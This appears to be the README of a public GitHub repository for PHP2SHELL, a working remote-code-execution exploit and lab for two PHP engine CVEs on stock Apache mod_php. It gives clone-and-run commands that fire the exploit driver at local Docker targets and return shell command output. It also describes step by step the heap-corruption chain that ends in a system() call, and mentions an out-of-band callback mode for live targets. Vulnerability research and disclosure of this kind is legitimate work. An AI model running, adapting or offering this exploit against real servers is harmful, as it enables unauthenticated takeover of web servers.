Engine-level RCE on stock mod_php.
No application logic. No authentication. Pure HTTP.
Proof matrix · Quick start · How it works · Repository map
PHP2SHELL is a research lab and exploit for CVE-2026-109618 / CVE-2026-109619.
It drives the session upload-progress callback before RINIT and reaches
zif_system through a forged zend_reference / zend_array destructor.
The chain is proven on stock php:<version>-apache images.
Latest proof: 8.3.35, the last affected 8.3 release — 10 chains across 6 ASLR layouts, all returning command output. Read the evidence →
| Build | Status | What it proves | Evidence |
|---|---|---|---|
| 8.2.34 | 🟢 SOLID · last affected 8.2 | Full chain, 6 executions | lab-8234 |
| 8.3.29 | 🟢 SOLID · mid-branch | Full chain, 8 executions | lab-8329 |
| 8.3.35 | 🟢 SOLID · last affected 8.3 | Full chain, 10 executions across 6 ASLR layouts | lab-8335 |
| 8.4.26 | 🟢 SOLID · last affected 8.4 | Full chain, multi-worker, TLS and OOB modes | REPORT, evidence |
| 8.5.11 | 🟡 PARKED · last affected 8.5 | A1 primitive proven; B1 leak uncalibrated | local only, not published |
Fixed boundary:
8.2.35·8.3.36·8.4.27·8.5.12. The driver refuses to send the chain to any banner at or above these releases. This repository publishes vulnerable-build proofs only; no dedicated fixed-build negative-control lab is included.
Advisory links
git clone https://github.com/ravhirizaldi/php2shell-engine-rce.git
cd php2shell-engine-rceStart the target in one terminal:
cd lab-8335
./run.shRun the URL-only driver from a second terminal (from the repository root):
cd lab-8335
printf 'http://127.0.0.1:18138/index.php\nid\nexit\n' | \
P2S_OUTDIR=$PWD/out python3 ../oneshot/exploit.pyExpected:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Other proven targets — 8.2.34, 8.3.29, 8.4.26
8.2.34 — port 18134:
cd lab-8234 && ./run.sh
# second terminal
printf 'http://127.0.0.1:18134/index.php\nid\nexit\n' | \
P2S_OUTDIR=$PWD/out python3 ../oneshot/exploit.py8.3.29 — port 18129:
cd lab-8329 && ./run.sh
# second terminal
printf 'http://127.0.0.1:18129/index.php\nid\nexit\n' | \
P2S_OUTDIR=$PWD/out python3 ../oneshot/exploit.py8.4.26 — interactive reference engine:
cd official-lab && ./run.sh
python3 pure_shell.py --exec 'id'Expected output and troubleshooting
A successful chain returns command output through the local /out proof-file
channel. On a fresh 8.3 child, the first B1 occasionally returns 0 bytes; the
driver retries automatically and the next chain succeeds. If the target is
behind a proxy with a small header limit, the ~1.26 MB Set-Cookie leak is
truncated and B1 cannot complete. Use the raw lab target for reproduction.
flowchart LR
A1["A1<br/>session-cleanup OOM"] --> B1["B1<br/>stale-id OOB read"]
B1 --> L["libphp + Zend heap<br/>runtime addresses"]
L --> A2["A2/B2<br/>fake zend_reference"]
A2 --> S["zif_system"]
S --> R["command output"]
What each stage does
- A1 sends a chunked multipart body that drives the upload-progress
callback into the old END-cleanup OOM path. The bailout leaves
send_cookieset and a stalePS(id)in the next request. - B1 forges a
zend_stringheader over the stale session id and reads past it. The resultingSet-Cookiecarries heap andlibphppointers, giving runtime addresses without a separate info leak. - A2/B2 grooms the heap, plants a forged
zend_reference/zend_array, and redirects the destructor tozif_system. - The command runs as the Apache worker user and writes to
/outin the lab, or returns through the OOB callback on a live target.
The 8.2/8.3 profiles anchor the fake array from the zval_ptr_dtor bucket;
the 8.4 profile uses the main leak bucket directly. The exact offsets and
geometry per build are in VERSIONS.md.
| Path | Contents |
|---|---|
oneshot/ |
URL-only multi-build driver, engine, payload builders, profiles |
lab-8234/ |
8.2.34 proof: result, bootstrap, evidence |
lab-8329/ |
8.3.29 proof: result, calibration notes, evidence |
lab-8335/ |
8.3.35 proof: last affected 8.3, evidence |
official-lab/ |
8.4.26 target, interactive engine, multi-worker/TLS/OOB modes |
VERSIONS.md |
Build matrix, chain parameters, image and libphp.so hashes |
REPORT.md |
Consolidated 8.4.26 report and evidence manifest |
modphp-lab/, fpm-lab/ |
Supporting application-precondition ports |
- All runs are against local Docker targets. The repository ships no target list and no target discovery.
- The stock-target claims are the
lab-8234/,lab-8329/,lab-8335/, andofficial-lab/results. - 8.5.11 is parked: the A1 primitive is confirmed, but the B1 leak is not calibrated. No 8.5 exploitation result is claimed.
- Fixed releases are handled by the driver gate; no patched-build lab is published.
- 9bie's public PHP2SHELL ASLR research and reference exploit.
de0's payload generators vendored underofficial-lab/payloads/and attributed in their headers.